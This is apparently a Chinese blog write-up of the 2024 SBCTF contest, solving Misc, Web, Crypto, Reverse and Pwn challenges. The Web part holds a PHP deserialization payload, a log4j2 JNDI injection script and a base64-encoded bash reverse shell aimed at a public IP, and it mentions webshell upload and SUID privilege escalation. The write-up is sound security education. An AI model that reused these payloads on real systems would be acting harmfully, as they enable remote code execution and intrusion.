Logo
Overview

2024 SBCTF Writeup合集

February 14, 2024

Week1

[Misc] ez_traffic_analyse

我出的题嘿嘿(

刚刚复现了Shadowsocks重定向攻击的内容,就把他甩上来了。题目描述挺明显的,操作起来也还挺简单。

参考文章:https://www.secrss.com/articles/51733

的exp即可。

[Misc] ez_leakage

题目附件给了grad和权重,猜测用grad+原来的模型可以还原图像。找了下是DLG,也有现成的脚本(https://github.com/mit-han-lab/dlg

改一下扔到Colab上去跑一次就有了

[Misc] evil_pic_encode

首先拿到的numpy数组的长度可以用质因数分解分出来,1801422=2*3*3*7*17*29*29,分出三个通道,剩下的几个质因数组合一下生成图片发现分辨率为986*609的图片正常(直的)

先看猫脸变换(为什么是这个名字?

写个程序可以发现本题的变换矩阵的循环节为7

PYTHON
def Arnold_period(N):
    # 计算(posx,posy)位置Arnold变换的周期(与整个图像Arnold周期应该一致,待证)
    posx = 28
    posy = 25
    # 变换的初始位置
    x0 = posx
    y0 = posy
    T = 0
    a = 114
    b = 514
    print(T, x0, y0)
    while True:
        x = (x0 + b * y0) % N
        y = (a * x0 + (a * b + 1) * y0) % N
        # x0,y0同时更新
        x0, y0 = x, y
        T += 1
        print(T, x, y)
        if x == posx and y == posy:
            break
    return T
print(Arnold_period(29))

于是只需将加密后的图片再变换7次可以找到猫脸变换的矩阵

TEXT
kk = [
    [5, 1, 4, 2, 3],
    [6, 4, 5, 4, 4],
    [1, 3, 1, 3, 1],
    [5, 3, 3, 2, 5],
    [1, 5, 2, 3, 4],
    [4, 3, 3, 2, 3],
    [6, 5, 2, 6, 4],
    [3, 3, 6, 1, 5],
]

接下来就是处理周围的dct块了...发现dct块的加密次数不超过5...但是问题是dct加密后虚部的内容被丢弃了...?似乎需要爆破有点麻烦(

中间已经存在了一部分的内容,然后dct块的内容选择直接爆破来做。

[Misc] ez_eval_game

又是我出的题。虽然这个题出了点问题(悲)

原题是:https://oskaerik.github.io/theevalgame/

可以直接参考leaderboard上的代码。

[Misc] bssid

osint。wigle网站上查一下。

[Misc] signin

exif信息中有提示到公众号发signin。然后图片末尾的文字有提示发送到b站bxs账号得到剩下的flag。

[Misc] strange_pic_encode

可以查到一条曲线可以填充二维平面=>Peano或者是Hilbert曲线。大致观察发现是3x3的块所以是Peano曲线(网上这个东西好少)

搜了一个matlab的实现然后手动改成python

PYTHON
def peano_curve(n):
    peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
    points = peano_old.tolist()
    # points = []
    for i in range(1, n):
        p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_old, p1, p2))
        p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_new, p1, p2))
        peano_old = peano_new / (3 + 2 / (3**i - 1))
        points = peano_old.tolist()
    points = np.round(np.array(points) * (3**n - 1)).astype(int)
    nP = []
    for i in range(len(points) - 1):
        nP.append(points[i])
        dx = int(points[i + 1][0] - points[i][0])
        dy = int(points[i + 1][1] - points[i][1])
        if dx == 0:
            for j in range(1, abs(dy)):
                nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
        else:
            for j in range(1, abs(dx)):
                nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
    nP.append(points[-1])
    return np.array(nP)

然后就卡住了(?不知道是哪种加密的操作方法,导致耗费了一晚上来试怎么做比较好(x

经过一堆尝试发现这样做能够生成差不多形式的图

PYTHON
r = np.array(Image.open("1234.jpg").convert("RGB"))
w, h = r.shape[:2]
points = peano_curve(6)
t = np.zeros_like(r)
r = r.reshape((w * h, 3))
for i in range(len(points)):
    y, x = points[i]
    t[x, w - 1 - y] = r[i]

Image.fromarray(np.array(t).reshape((w, h, 3))).save("crypt1.png")

逆向操作即可

PYTHON
r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
    y, x = points[i]
    s.append(r[x, w - 1 - y])
s.reverse() # 最后发现反了我再返回来即可x
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png")
[Web] php_hacker

反序列化构造一个字符串即可。

payload如下

PHP
O:8:"Executor":1:{s:7:"command";s:20:"echo `cat /f_l_a_g`;";}

中间的shell随便改就行(

[Web] attack_shiro

https://www.cnblogs.com/CoLo/p/14025101.html
找个公网ip弹个shell就行(

[Web] ez_cat

上传一句话木马

然后弹shell提权即可。

利用date的suid来提升到root并读取文件。date -f /flag.txt

[Web] ez_sqli

https://www.wolai.com/ctfhub/3steV94h29brUrEiwuGp9n

手注。

[Web] java_signin

猜测是log4j2 RCE的CVE。

于是就只剩下试验了。最开始直接用TCP模拟发HTTP包。失败了

然后发现只用从某几个常用的Headers里试一试就可以了

最后是Accept这个headers里。exp如下:

PYTHON
import requests as r
import base64 as b64
from pwn import pause

ipaddr = "43.128.24.129"
jdni_url = f"rmi://43.128.24.129:1099/063ckb"
# url = "http://47.76.71.50:20009/"
url = "http://localhost:8081"
r.get(url, headers={"Accept": "application/${jndi:" + jdni_url + "}"})

然后弹shell的机器上开一个JDNIExplotion和nc监听端口。然后execbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMjguMjQuMTI5LzkwMDEgMD4mMQ==|{base64,-d}|{bash,-i}最后发送请求就可以看到弹来的shell。

[Crypto] hard_pic_encode

原来Crypto才是签到题

再xor一次即可

[Crypto] baby_pic_encode

assert可以化简为x^2 - 810131 y^2 = 1

查了下是Pell方程

PYTHON
def solvePell(d):
    m = int(np.sqrt(d))
    dq = deque()
    dq.append(m)
    n0 = n1 = d - m * m
    m1 = m
    while 1:
        q, m2 = divmod(m1 + m, n1)
        dq.appendleft(q)
        m1 = -m2 + m
        n1 = (d - m1 * m1) // n1
        if m1 == m and n1 == n0:
            break

    dq.popleft()
    b = 1
    c = 0
    for i in dq:
        b1 = c + b * i
        c = b
        b = b1
    return (b, c)

求解得到x,y

用原来的函数在np.zeros()上生成一样的补码

然后和加密后的图相减即可。

[Crypto] SuperBag

本题中观察可知leak = w

所以array_2可以求出来

解出。

[Crypto] Broken PEM

读了pycryptodome的源码,DER格式的内容大概是[type][length_type][length][content],type的内容可以参考这里

因为RSA PEM内容肯定是整数序列,内容如下:

TEXT
      RSAPrivateKey ::= SEQUENCE {
          version           Version,
          modulus           INTEGER,  -- n
          publicExponent    INTEGER,  -- e
          privateExponent   INTEGER,  -- d
          prime1            INTEGER,  -- p
          prime2            INTEGER,  -- q
          exponent1         INTEGER,  -- d mod (p-1)
          exponent2         INTEGER,  -- d mod (q-1)
          coefficient       INTEGER,  -- (inverse of q) mod p
          otherPrimeInfos   OtherPrimeInfos OPTIONAL
      }

后面序列有四个数,所以可以得到q,题目也给了e。于是可求。

可知,在q已知的情况下能够求出m。

编写exp.py如下

PYTHON
from binascii import a2b_base64, hexlify
from Crypto.Util.number import long_to_bytes as l2b

pem = (
    a2b_base64(
        """
1ixI9xAcwhdVVjzfp55wYLPya5DWWP9zmpMMxYV0Zb74j/r/+ajucrs15/+rG2Rf
BHBMSTFwn4mbL60OfhReOuj3T7cNBYYYHgFGC5kANsa/HVKQegWebJNNAoGBANRg
g8lUzD5t2iE1wrOtzepOCCGNmTeoJckArrsOWBRbJ7U95FJy9pz7beEmH8Upfgjt
ErHXRALLzeKhrKf18nsHg2YsvK5zSD149g+iPhL1JPi/x2BndcYMgBuicMR7eZ59
jDVs72sELL+5tsunUsvu51VHaNi+JwRLHMOe2WgZAoGAKbCaUZR1Dit2zkiIkeg7
WQCdadFnVGoyFOGNlDYLSB4lBE5tqnXfUzQiqTzMnYmynj1VhBaOF3uw4gKWxzkB
aGvDhglVo2LsMrcEMQcv8uqRYZ/50Y4yDcyas1RhsDJ8PrVJOeom7xf5P/GXClIO
mtmiFnna+NzuCdextFZnE+ECgYEAzflBN11XrWCLQtRKHkt9vzWo6ynSpMkexGA2
FtMll7CExWHedBxtk/jCK6/29hh01SFglTyrCG8zIg8dTdTaNHon9UuEP0ktkfkj
5Cu9OlOpZNtS+eu9rLPo92RHLDh4zr8C4bniRg9JezUZ1VBVm9X7ZJkaVcOuQZq7
rfn87tkCgYEAgnKtFAEEOq6UqSgzbYSTPsgpHlQy8ZAzJBZhupevBxXFQyjl6UCD
KSeDSvjgpHngIVEdrpm8xGmHpaYGhdvUBX3RmFv5wg/Lhb5Y/aMu3Tpv2hhysmv1
thD5ts5oRIwKrl0ZlrQPybnYLHMixky5R9JJohRv8Dmgp15afJ4PEHc=
-----END RSA PRIVATE KEY-----
""".replace(
            "-----END RSA PRIVATE KEY-----", ""
        ).replace(
            "\n", ""
        )
    )
    .hex()
    .split("0281") #02表示下面的type是整数 81表示接下来一位是长度
)[1:] #第一块是无用块。
pem = [int(i[2:], 16) for i in pem] #去掉长度标识转成整数。
q = pem[0]
e = 0x10001
d = pow(e, -1, q - 1)
c = int(
    """64cf9253ce6f8bb37ad43cbb473a0577d036144d5dc9ce0ae2fa5a485950096b0b78b06f06bcc60b6f92eddc34ff1ea1e1573b82912c4aea70c645bf11c9bf36a291ff9793390051e412ab209eb199cf0ea0c100e4c7af7a650848c14ec44b7d78a13da503a30eb8ef37e432bcd587bc7cebfc4d89aaaf4b8f3f84c5947a623375008a8d211e97057923c115e320ccaf9cb9f839a0c03c8d337b061ca58c8ccf9d3fdbb121fce009b313ee7381a124b80ff9f1ed0217cca2cf58306e9a99baa7aafcfab90164ab45fd37f240a584c5631a5325249b371551c8daaab8882cd01b439b383d7c557534a99e7af5e64afdf6d22d0fb6f67944996aa874150b9deffb""",
    16,
)
m = pow(c, d, q)
print(l2b(m).decode())
[Crypto] A Bit Limit

由于给了q的高位,这个题大概是用coppersmith_attack来分解。

但是如果直接用q分解,界没设好的话最后得到的解是-q

所以需要将q补全几位再继续分解。

[Reverse] Baby Math

一个形式为Ax=B的方程。解出来即可

[Reverse] simple

注意到代码中出现了2654435769 = -1640531527 & 0xFFFFFFFF = 0x9E3779B9常用于tea加密。

于是写了一个解密程序。得到flag。

[Reverse] babysmc

查壳是UPX壳。但是似乎有改动所以无法直接脱壳,于是用https://www.anquanke.com/post/id/272639的方法手动脱壳了。然后丢进IDA找到了主函数

点开主函数发现用sub_4014C8()解密了sub_401410这个函数,然后再进行了比较。

丢进x32dbg动态调试定位到call 401410前设置断点。然后就可以看到解密之后的函数指令。

当然看指令什么的还是算了,同样dump出来丢进ida就是原函数

稍微模拟一下就可以找到原内容。

[Pwn] Rise_of_the_Dragon_Slayer

简单的交互入门题,唯一要注意的是加一个int,除法是整数。

PYTHON
from pwn import *
import ctypes

# context.log_level = "debug"
p = connect("47.76.71.50", 20009)
from re import compile

calc = compile(r"(\d+) ([\+\-\*\/]) (\d+) =")
p.recvuntil(b"Now, you need to answer 20 questions to test your intelligence.\n")
for i in range(20):
    print(i)
    res = p.recvuntil(b"Please input your answer:\n").decode().replace(b"\n", b"")
    a, op, b = calc.findall(res)[0]
    p.sendline(str(eval(f"int({a + op + b})")).encode())
for i in range(20):
    print(i)
    res = p.recvuntil(b"Input the position you want to attack:\n").decode().split("\n")
    for i in res:
        if "M" in i:
            p.sendline(str(i.split("M")[0].__len__()).encode())
p.interactive()
[Pwn] ez_pwn1

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。